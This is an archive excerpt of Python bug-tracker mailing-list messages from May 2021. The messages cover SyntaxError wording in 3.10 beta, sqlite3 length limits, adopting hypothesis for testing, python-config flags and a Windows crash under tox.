<1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621453306.98.0.382233741396.issue44180@roundup.psfhosted.org> Shreyan Avigyan added the comment: Hmmm... Then is it possible to add an exception where the error message will result in, SyntaxError: cannot assign to literal here. Maybe you meant ':', "==" or ":=" instead of '='? only if we're dealing with curly braces? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 15:46:23 2021 From: report at bugs.python.org (Andre Roberge) Date: Wed, 19 May 2021 19:46:23 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621453583.51.0.831282467856.issue44180@roundup.psfhosted.org> Andre Roberge added the comment: In the second case, I understand very well that it could have been a set literal. In my (limited) experience, I have never seen a set literal containing a single element obtained from an == comparison. Since dict can be built by using keyword arguments, I tend to assume that using = in an literal that starts with { is meant to be a dict. In >>> ages = {'Alice' = 22} replacing the equal sign by either ==, :, or a comma would generate no SyntaxError. Clearly (in my mind anyway, and in previous Python versions), the "bad token" is the equal sign, and not the string Alice. Here's what I show with friendly: ====== >>> ages = {'Alice'=22} Traceback (most recent call last): File "", line 1 ages = {'Alice'=22} ^ SyntaxError: invalid syntax >>> why() It is possible that you used an equal sign = instead of a colon : to assign values to keys in a dict before or at the position indicated by ^. ===== Admitedly, this suggestion could also be wrong - but the focus on this case (imo) should be on the "bad token" shown, which should be the equal sign. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 16:36:17 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 20:36:17 +0000 Subject: [issue40975] contextlib.AsyncExitStack enter_async_context and aclose should be labeled as coroutine methods In-Reply-To: <1592137610.97.0.667816309601.issue40975@roundup.psfhosted.org> Message-ID: <1621456577.53.0.787536604603.issue40975@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24863 pull_request: https://github.com/python/cpython/pull/26254 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 16:36:22 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 19 May 2021 20:36:22 +0000 Subject: [issue40975] contextlib.AsyncExitStack enter_async_context and aclose should be labeled as coroutine methods In-Reply-To: <1592137610.97.0.667816309601.issue40975@roundup.psfhosted.org> Message-ID: <1621456582.46.0.261950697455.issue40975@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24864 pull_request: https://github.com/python/cpython/pull/26255 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 16:37:36 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 20:37:36 +0000 Subject: [issue40975] contextlib.AsyncExitStack enter_async_context and aclose should be labeled as coroutine methods In-Reply-To: <1592137610.97.0.667816309601.issue40975@roundup.psfhosted.org> Message-ID: <1621456656.85.0.501158663861.issue40975@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 65dede60fa15703b4625240fbe11af0060f5cbb0 by Miss Islington (bot) in branch '3.10': bpo-40975: [doc] Identify AsyncExitStack.enter_async_context()/aclose() as coroutine methods (GH-20870) (GH-26254) https://github.com/python/cpython/commit/65dede60fa15703b4625240fbe11af0060f5cbb0 ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 16:37:56 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 20:37:56 +0000 Subject: [issue40975] contextlib.AsyncExitStack enter_async_context and aclose should be labeled as coroutine methods In-Reply-To: <1592137610.97.0.667816309601.issue40975@roundup.psfhosted.org> Message-ID: <1621456676.39.0.231651462079.issue40975@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 9a75cc604455962fd226b58ed033da92e68dd3c8 by Miss Islington (bot) in branch '3.9': bpo-40975: [doc] Identify AsyncExitStack.enter_async_context()/aclose() as coroutine methods (GH-20870) (GH-26255) https://github.com/python/cpython/commit/9a75cc604455962fd226b58ed033da92e68dd3c8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 16:38:16 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 20:38:16 +0000 Subject: [issue40975] contextlib.AsyncExitStack enter_async_context and aclose should be labeled as coroutine methods In-Reply-To: <1592137610.97.0.667816309601.issue40975@roundup.psfhosted.org> Message-ID: <1621456696.41.0.376939403564.issue40975@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 16:59:07 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 20:59:07 +0000 Subject: [issue11176] [doc] give more meaningful argument names in argparse documentation In-Reply-To: <1297352937.46.0.470038569364.issue11176@psf.upfronthosting.co.za> Message-ID: <1621457947.46.0.49268790331.issue11176@roundup.psfhosted.org> Irit Katriel added the comment: It's been over six years, go for it. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 17:07:03 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 19 May 2021 21:07:03 +0000 Subject: [issue37741] importlib.metadata docs not showing up in the module index In-Reply-To: <1564685225.86.0.948746560612.issue37741@roundup.psfhosted.org> Message-ID: <1621458423.12.0.723419419138.issue37741@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset ab1c3d99f51188d1a6b5f7797294b056279f62e0 by Miss Islington (bot) in branch '3.9': bpo-37741: make importlib.metadata docs discoverable through a module directive. (GH-25415) (GH-25417) https://github.com/python/cpython/commit/ab1c3d99f51188d1a6b5f7797294b056279f62e0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 17:22:05 2021 From: report at bugs.python.org (Andre Roberge) Date: Wed, 19 May 2021 21:22:05 +0000 Subject: [issue44181] SyntaxError in Python 3.10.0b1: wrong token for missing comma Message-ID: <1621459324.97.0.279121411647.issue44181@roundup.psfhosted.org> New submission from Andre Roberge : When forgetting a comma in writing a dict literal spanning multiple lines, the "bad token" is wrongly idenfied with Python 3.10.0b1. >>> a = {'a': 1 ... 'b': 2 File "", line 1 a = {'a': 1 ^ SyntaxError: invalid syntax. Perhaps you forgot a comma? Previously, this was shown: >>> a = {'a': 1 ... 'b': 2 File "", line 2 'b': 2 ^ SyntaxError: invalid syntax However, I hasten to add that the new hint about a missing comma is spot on, and likely to be extremely useful. Note: this is based on my "intuition" built from previous version where the token identified by ^ was the first token that the Python parser was not able to make sense of. Now that the parser highlight a range (if relevant tokens are on a single line), it makes sense to include tokens preceding the "bad token". However, when we have an error where such range spans multiple lines, it can create "problems" such as that shown above. Perhaps this is not worth attempting to fix and Python programmers like me will have to develop a "new intuition" in such cases (and "fix" friendly so that it can figure out the correct "bad token" independently of cPython's information) ... and this bug report can be simply closed. ---------- components: Parser messages: 393976 nosy: aroberge, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: SyntaxError in Python 3.10.0b1: wrong token for missing comma type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 17:40:54 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 21:40:54 +0000 Subject: [issue44165] [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size In-Reply-To: <1621322586.94.0.0941368133746.issue44165@roundup.psfhosted.org> Message-ID: <1621460454.04.0.00376149144587.issue44165@roundup.psfhosted.org> Erlend E. Aasland added the comment: Regarding the maximum length of an SQL string, quoting from https://sqlite.org/limits.html: "The current implementation will only support a string or BLOB length up to 2^31-1 or 2147483647. And some built-in functions such as hex() might fail well before that point. In security-sensitive applications it is best not to try to increase the maximum string and blob length. In fact, you might do well to lower the maximum string and blob length to something more in the range of a few million if that is possible." The size returned from functions such as PyUnicode_AsUTF8AndSize is Py_ssize_t. I suggest checking the passed SQL string size and raising OverflowError if the SQL string is larger than 2^31-1. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 17:42:21 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 21:42:21 +0000 Subject: [issue44165] [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size In-Reply-To: <1621322586.94.0.0941368133746.issue44165@roundup.psfhosted.org> Message-ID: <1621460541.12.0.0744026188675.issue44165@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- Removed message: https://bugs.python.org/msg393977 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 17:42:45 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 21:42:45 +0000 Subject: [issue44165] [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size In-Reply-To: <1621322586.94.0.0941368133746.issue44165@roundup.psfhosted.org> Message-ID: <1621460565.16.0.981859129057.issue44165@roundup.psfhosted.org> Erlend E. Aasland added the comment: Regarding the maximum length of an SQL string, quoting from https://sqlite.org/limits.html: "The current implementation will only support a string or BLOB length up to 2^31-1 or 2147483647. And some built-in functions such as hex() might fail well before that point. In security-sensitive applications it is best not to try to increase the maximum string and blob length. In fact, you might do well to lower the maximum string and blob length to something more in the range of a few million if that is possible." The size returned from functions such as PyUnicode_AsUTF8AndSize is Py_ssize_t. I suggest checking the passed SQL string size and raising OverflowError if the SQL string is larger than SQLITE_MAX_LENGTH. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 17:42:47 2021 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 19 May 2021 21:42:47 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1621460567.84.0.495130804793.issue42109@roundup.psfhosted.org> Guido van Rossum added the comment: Few things incite me quite as much as being told that I'm not supposed to understand something, so now I'm actually making an effort to follow the ECOOP paper. Honestly, it's not too bad (a lot more readable than type theory papers :-). I'll get back to you once I'm more comfortable in mapping between that and minithesis.py. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 18:10:53 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 May 2021 22:10:53 +0000 Subject: [issue44165] [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size In-Reply-To: <1621322586.94.0.0941368133746.issue44165@roundup.psfhosted.org> Message-ID: <1621462253.68.0.651862180556.issue44165@roundup.psfhosted.org> Erlend E. Aasland added the comment: SQLITE_TOOBIG is currently mapped to sqlite3.DataError. In order to keep the current behaviour, DataError must be raised. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 18:11:51 2021 From: report at bugs.python.org (Paul Ganssle) Date: Wed, 19 May 2021 22:11:51 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1621462311.84.0.612524149871.issue42109@roundup.psfhosted.org> Paul Ganssle added the comment: I do not want to dissuade you from figuring out how minithesis / hypothesis works (far from it), but I'm wondering if the question of how shrinking works is germane to the issue at hand, which is whether or not hypothesis / property-based-testing is suitable for testing the standard library. I almost don't think it matters *if* shrinking works, much less *how*. Shrinking is something of a UI nicety in the sense that when hypothesis finds an example that violates a property, it will try to take whatever example it has chosen and find something like a "minimal working example" to show to the end user. So if we have something like: ``` @given(x=strategies.integers()) def f(x): assert x >= 0 ``` Hypothesis will presumably tell us that `x == -1` will violate the property instead of `-24948929` or some other random thing. But if it did report `-24948929` or something, it wouldn't be too hard to see "oh, right, integers can be negative". In some cases with the time zone stuff, there isn't a good metric for complexity at the moment, so time zones are sorted by their IANA key (which is to say, basically arbitrary), and I generally find it useful anyway (admittedly, the shrinking still is helpful because most problems affecting all zones will return Africa/Abuja, whereas things particular to a specific zone's odd time zone history will return whichever zone with that quirk comes alphabetically first). Anyway, do not let me disrupt your process, I just thought it might be worth making the point that some of these specific details might be nice to know, but don't seem like they should be blockers for hypothesis' adoption in the standard library. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 18:21:33 2021 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 19 May 2021 22:21:33 +0000 Subject: [issue28307] Accelerate 'string' % (value, ...) by using formatted string literals In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za> Message-ID: <1621462893.45.0.251055146834.issue28307@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 18:22:15 2021 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 19 May 2021 22:22:15 +0000 Subject: [issue44037] Broad performance regression from 3.10a7 to 3.10b1 with python.org macOS binaries In-Reply-To: <1620152354.35.0.099245224395.issue44037@roundup.psfhosted.org> Message-ID: <1621462935.6.0.664288766895.issue44037@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 18:38:48 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 May 2021 22:38:48 +0000 Subject: [issue42892] AttributeError in email.message.get_body() In-Reply-To: <1610383557.89.0.290771399006.issue42892@roundup.psfhosted.org> Message-ID: <1621463928.01.0.993461182557.issue42892@roundup.psfhosted.org> Irit Katriel added the comment: Can you see how it happened that part is a str? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 18:55:34 2021 From: report at bugs.python.org (Josh Rosenberg) Date: Wed, 19 May 2021 22:55:34 +0000 Subject: [issue44175] What do "cased" and "uncased" mean? In-Reply-To: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org> Message-ID: <1621464934.23.0.728826072537.issue44175@roundup.psfhosted.org> Josh Rosenberg added the comment: See the docs for the title method on what they mean by "titlecased"; "a" is self-evidently not titlecased. https://docs.python.org/3/library/stdtypes.html#str.title ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 18:57:42 2021 From: report at bugs.python.org (Dominik Vilsmeier) Date: Wed, 19 May 2021 22:57:42 +0000 Subject: [issue18765] unittest needs a way to launch pdb.post_mortem or other debug hooks In-Reply-To: <1376696752.64.0.473845221037.issue18765@psf.upfronthosting.co.za> Message-ID: <1621465062.85.0.756016811812.issue18765@roundup.psfhosted.org> Dominik Vilsmeier added the comment: I wasn't aware of this issue so apparently I submitted a duplicate (#42722) half a year ago. The solution I implemented relies on simply calling `TestCase.debug` and `TestSuite.debug` which makes it a lightweight change. From the perspective of the debugger the situation is thus no different than running a "normal" script. The other issue also has a pull request attached. ---------- nosy: +Dominik V. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 19:12:10 2021 From: report at bugs.python.org (Todd C. Miller) Date: Wed, 19 May 2021 23:12:10 +0000 Subject: [issue44182] python-config.sh vs python-config.py inconsistency Message-ID: <1621465930.28.0.548981352834.issue44182@roundup.psfhosted.org> New submission from Todd C. Miller : There is an inconsistency between python-config.py and python-config.sh with the output of --ldflags. The .sh version include -L$libdir but the .py version does not include the -L flag unless a non-shared version of Python is built. As a result, on Darwin (macOS), where python-config.py is used it is not possible to use python-config to get the correct linker flags when "python-config --embed --ldflags" is run if Python is installed in a directory with a lib dir that is not in the compiler's default search path. For example, if Python is installed in /usr/local/python, we see the following on Linux (using python-config.sh): $ python3-config --ldflags --embed -L/usr/local/python/lib -lpython3.10 -lcrypt -lpthread -ldl -lutil -lm -lm But on macOS, using python-config.py: $ python3-config --ldflags --embed -lpython3.10 -lintl -ldl -framework CoreFoundation There is no -L flag to tell the compiler where to find the python3.10 library, so an attempt to link with it will fail. ---------- components: Installation messages: 393985 nosy: millert priority: normal severity: normal status: open title: python-config.sh vs python-config.py inconsistency versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 19:21:13 2021 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 19 May 2021 23:21:13 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1621462311.84.0.612524149871.issue42109@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: It is important to me, because I don't like having a dependency on third-party code that is a black box. Remember that in the end it's not me you have to convince but the SC. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 19:51:48 2021 From: report at bugs.python.org (Eric Snow) Date: Wed, 19 May 2021 23:51:48 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1621468308.8.0.710220767994.issue43693@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +24865 pull_request: https://github.com/python/cpython/pull/26258 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 19:59:28 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 19 May 2021 23:59:28 +0000 Subject: [issue44163] IDLE ValueError in HyperParser In-Reply-To: <1621295243.03.0.896879561831.issue44163@roundup.psfhosted.org> Message-ID: <1621468768.53.0.440374159129.issue44163@roundup.psfhosted.org> Raymond Hettinger added the comment: I constantly move back and forth between the editor and the shell, so am not sure where the issue occurred. Also, I've never seen this one before so it isn't easily triggered. Am running Python 3.9.5 in class. Am not using a special build, it is the macOS build found on python.org. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 20:03:38 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 20 May 2021 00:03:38 +0000 Subject: [issue44154] Optimize Fraction pickling In-Reply-To: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org> Message-ID: <1621469018.51.0.202708405417.issue44154@roundup.psfhosted.org> Raymond Hettinger added the comment: You're right that this won't work for decimal because it takes a string constructor. A fancier reduce might do the trick but it would involve modifying the C code (no fun) as well as the Python code. Also, the conversion from decimal to string and back isn't quadratic, so we don't have the same worries. Lastly, really large fractions happen naturally as they interoperate, but oversized decimals are uncommon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 20:04:51 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 20 May 2021 00:04:51 +0000 Subject: [issue44175] What do "cased" and "uncased" mean? In-Reply-To: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org> Message-ID: <1621469091.34.0.447278574615.issue44175@roundup.psfhosted.org> Raymond Hettinger added the comment: FWIW, the current terminology is confusing to me as well. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 20:10:41 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 20 May 2021 00:10:41 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621469441.75.0.199868230469.issue44151@roundup.psfhosted.org> Raymond Hettinger added the comment: Steven, do you approve of this? linear_regression(x, y) -> LinearRegression(slope, intercept) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 20:14:26 2021 From: report at bugs.python.org (R. David Murray) Date: Thu, 20 May 2021 00:14:26 +0000 Subject: [issue42892] AttributeError in email.message.get_body() In-Reply-To: <1610383557.89.0.290771399006.issue42892@roundup.psfhosted.org> Message-ID: <1621469666.69.0.460276551016.issue42892@roundup.psfhosted.org> R. David Murray added the comment: Yes, that's the real question. That's what needs to be fixed, otherwise we'll just keep finding new bugs. For example, try calling iter_parts() on that message. It isn't pretty :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 20:37:57 2021 From: report at bugs.python.org (Paul Ganssle) Date: Thu, 20 May 2021 00:37:57 +0000 Subject: [issue43295] datetime.strptime emits IndexError on parsing 'z' as %z In-Reply-To: <1614002299.86.0.551520528109.issue43295@roundup.psfhosted.org> Message-ID: <1621471077.33.0.162598717841.issue43295@roundup.psfhosted.org> Paul Ganssle added the comment: New changeset c87b81dcb2c22b6d151da39a0f65d5db304f59a8 by Miss Islington (bot) in branch '3.9': bpo-43295: Fix error handling of datetime.strptime format string '%z' (GH-24627) (#25695) https://github.com/python/cpython/commit/c87b81dcb2c22b6d151da39a0f65d5db304f59a8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 20:38:55 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 20 May 2021 00:38:55 +0000 Subject: [issue42443] Provide Thread creation hook support In-Reply-To: <1606144912.59.0.960330614449.issue42443@roundup.psfhosted.org> Message-ID: <1621471135.05.0.263306167241.issue42443@roundup.psfhosted.org> Gregory P. Smith added the comment: > > * IMO it should be called after profiling and tracing hook, so non-trivial hooks can be profiled and traced. > Makes sense, Done. I updated the PR do this. (if your "Done" indicated you had done this somewhere, it appears you never pushed your changes to the PR branch on github :) > > * It's important to define and document, which thread runs the hook > (calling thread or new thread). > Will update documentation when we agree upon appropriate API. I updated the docstring in the PR. > > * Since the hook is designed to monitor thread creation, would it make sense to pass the thread object to the hook? > As it's called within the context of the created thread I guess this is not needed (but as you prefer). I updated the PR to do this. > > * How does the hook behave when the callback raises an exception? > I guess it makes sense to do similar thing as in case of profile/trace hooks (Error in the profile function will cause itself unset). WDYT? I like the consistency. I've updated the PR. > > * Is a single hook good enough or should the API behave more like atexit, which supports an arbitrary amount of hooks? > Feels like it makes sense to keep API similar to what profile/trace provides, otherwise it would be inconsistent. Agreed. when writing the docs we can mention this. Anyone setting these hooks would be wise to check what's already set and decide if they want to set theirs at all or save that and chain call it or not. It is expected to be rare to set this. Our own use case is effectively platform wide for use in most applications. > > * Instead of just a creation hook, how about lifetime hooks are also called when a thread ends? > Sounds fine, do you mean two independent hooks (_thread_creation_hook, _thread_termination_hook) or some other form? Lets leave this as a separate feature to add if the need arises. I can imagine uses in threading tests, but that doesn't feel like a strong use case. ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 21:15:06 2021 From: report at bugs.python.org (Mohammed Dief) Date: Thu, 20 May 2021 01:15:06 +0000 Subject: [issue43813] Denial of service on http.server module with large request method. In-Reply-To: <1618233428.41.0.905190325792.issue43813@roundup.psfhosted.org> Message-ID: <1621473306.92.0.875725219892.issue43813@roundup.psfhosted.org> Mohammed Dief added the comment: Hey there, sorry for the delay. i just submitted the fix on a PR to python source code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 21:45:09 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 20 May 2021 01:45:09 +0000 Subject: [issue44146] Format string fill not handling brace char In-Reply-To: <1621157543.56.0.155922835812.issue44146@roundup.psfhosted.org> Message-ID: <1621475109.95.0.160677071801.issue44146@roundup.psfhosted.org> Eric V. Smith added the comment: Since this is working as designed, I'm going to close it. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 21:49:38 2021 From: report at bugs.python.org (R. David Murray) Date: Thu, 20 May 2021 01:49:38 +0000 Subject: [issue42892] AttributeError in email.message.get_body() In-Reply-To: <1610383557.89.0.290771399006.issue42892@roundup.psfhosted.org> Message-ID: <1621475378.12.0.0925965021233.issue42892@roundup.psfhosted.org> R. David Murray added the comment: Actually, I'm wrong. The body of a part can be a string, and that's what's going to happen with a malformed body of something claiming to be a multipart. The problem is that there is code that doesn't guard against this possibility. The following patch against master fixes the bug listed here, as well as iter_parts(). But it causes one test suite failure so it isn't a correct patch as it stands: diff --git a/Lib/email/message.py b/Lib/email/message.py index 3701b30553..d5d4a2385a 100644 --- a/Lib/email/message.py +++ b/Lib/email/message.py @@ -982,7 +982,7 @@ def _find_body(self, part, preferencelist): if subtype in preferencelist: yield (preferencelist.index(subtype), part) return - if maintype != 'multipart': + if maintype != 'multipart' or not self.is_multipart(): return if subtype != 'related': for subpart in part.iter_parts(): @@ -1087,7 +1087,7 @@ def iter_parts(self): Return an empty iterator for a non-multipart. """ - if self.get_content_maintype() == 'multipart': + if self.is_multipart(): yield from self.get_payload() def get_content(self, *args, content_manager=None, **kw): Maybe someone can take this and finish it (with tests)...I may or may not have time to get back to this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 22:01:47 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 20 May 2021 02:01:47 +0000 Subject: [issue44182] python-config.sh vs python-config.py inconsistency In-Reply-To: <1621465930.28.0.548981352834.issue44182@roundup.psfhosted.org> Message-ID: <1621476107.49.0.724994127558.issue44182@roundup.psfhosted.org> Change by Ned Deily : ---------- components: +macOS nosy: +ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 22:11:52 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 20 May 2021 02:11:52 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621476712.33.0.360347238819.issue43882@roundup.psfhosted.org> Ned Deily added the comment: > I will include an additional blurb for this change for security fix versions. Ping. This issue is still blocking 3.7 and 3.6 security releases. ---------- nosy: +pablogsal priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 23:04:07 2021 From: report at bugs.python.org (Joseph Trask Still) Date: Thu, 20 May 2021 03:04:07 +0000 Subject: [issue44183] Can't install certificates if GUI tools are not installed on macOS Message-ID: <1621479847.79.0.193086544632.issue44183@roundup.psfhosted.org> New submission from Joseph Trask Still : This issue occurs on my M1 MacBook Pro running macOS 11.3.1. Steps to reproduce: 1. Open the Python installation package 2. When asked where to install the package, click "Customize" at the bottom of the dialog 3. Uncheck the GUI Tools option 4. Proceed through the installation as normal 5. At the conclusion of the installation, when offered to install certificates, click either the Finder link, or the link to the ReadMe. The system will play the error sound, and nothing will open. The issue appears to occur due to the fact the Python 3.9 folder is not created in Applications if the GUI Tools are not installed. ---------- components: Installation messages: 393998 nosy: thetechconspiracy priority: normal severity: normal status: open title: Can't install certificates if GUI tools are not installed on macOS type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 23:17:59 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 20 May 2021 03:17:59 +0000 Subject: [issue44183] Can't install certificates if GUI tools are not installed on macOS In-Reply-To: <1621479847.79.0.193086544632.issue44183@roundup.psfhosted.org> Message-ID: <1621480679.83.0.797365572649.issue44183@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- components: +macOS nosy: +ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 23:24:15 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 20 May 2021 03:24:15 +0000 Subject: [issue44184] crash on windows invoking flake8 under tox Message-ID: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> New submission from Anthony Sottile : I installed python using the installers from python.org -- I originally reproduced this using github actions using pyflakes's testsuite >ver Microsoft Windows [Version 10.0.19041.985] >venv\Scripts\python --version Python 3.10.0b1 C:\Users\asott\AppData\Local\Temp\y\pyflakes>venv\Scripts\python --version --version Python 3.10.0b1 (tags/v3.10.0b1:ba42175, May 3 2021, 20:22:30) [MSC v.1928 64 bit (AMD64)] to reproduce: ``` git clone https://github.com/pycqa/pyflakes cd pyflakes git checkout b02ba019e16f7c156ec63c2ea05c627a0fe86c48 ``` # install tox somehow ``` C:\python310\python -m venv venv venv\Scripts\pip install tox ``` here are the versions I have at that point: ``` >venv\Scripts\pip freeze --all appdirs==1.4.4 colorama==0.4.4 distlib==0.3.1 filelock==3.0.12 packaging==20.9 pip==21.1.1 pluggy==0.13.1 py==1.10.0 pyparsing==2.4.7 setuptools==56.0.0 six==1.16.0 toml==0.10.2 tox==3.23.1 virtualenv==20.4.6 ``` then run this a few times: `venv\Scripts\tox -e py310` even with `setenv = PYTHONFAULTHANDLER=1` I couldn't get a trace, though maybe that's a linux thing? it occasionally crashes like this: ``` py310 run-test: commands[2] | flake8 pyflakes setup.py ERROR: InvocationError for command 'C:\Users\asott\AppData\Local\Temp\y\pyflakes\.tox\py310\Scripts\flake8.EXE' pyflakes setup.py (exited with code 3221225477) ``` from some googling: > in hex is 0xc0000005 which is the Windows code for an access violation I don't do much development on windows so I'm passing the torch to someone who knows more :) ---------- messages: 393999 nosy: Anthony Sottile priority: normal severity: normal status: open title: crash on windows invoking flake8 under tox versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 23:26:06 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 20 May 2021 03:26:06 +0000 Subject: [issue44184] crash on windows invoking flake8 under tox In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621481166.27.0.739809802401.issue44184@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 23:28:01 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 20 May 2021 03:28:01 +0000 Subject: [issue44184] crash on windows invoking flake8 under tox In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621481281.95.0.226421208305.issue44184@roundup.psfhosted.org> Anthony Sottile added the comment: I can reproduce it outside of tox using: venv\Scripts\pip install flake8==3.6.0 venv\Scripts\pip install -e . --no-deps # ignore the conflict, but fix pyflakes C:\Users\asott\AppData\Local\Temp\y\pyflakes>venv\Scripts\flake8.exe 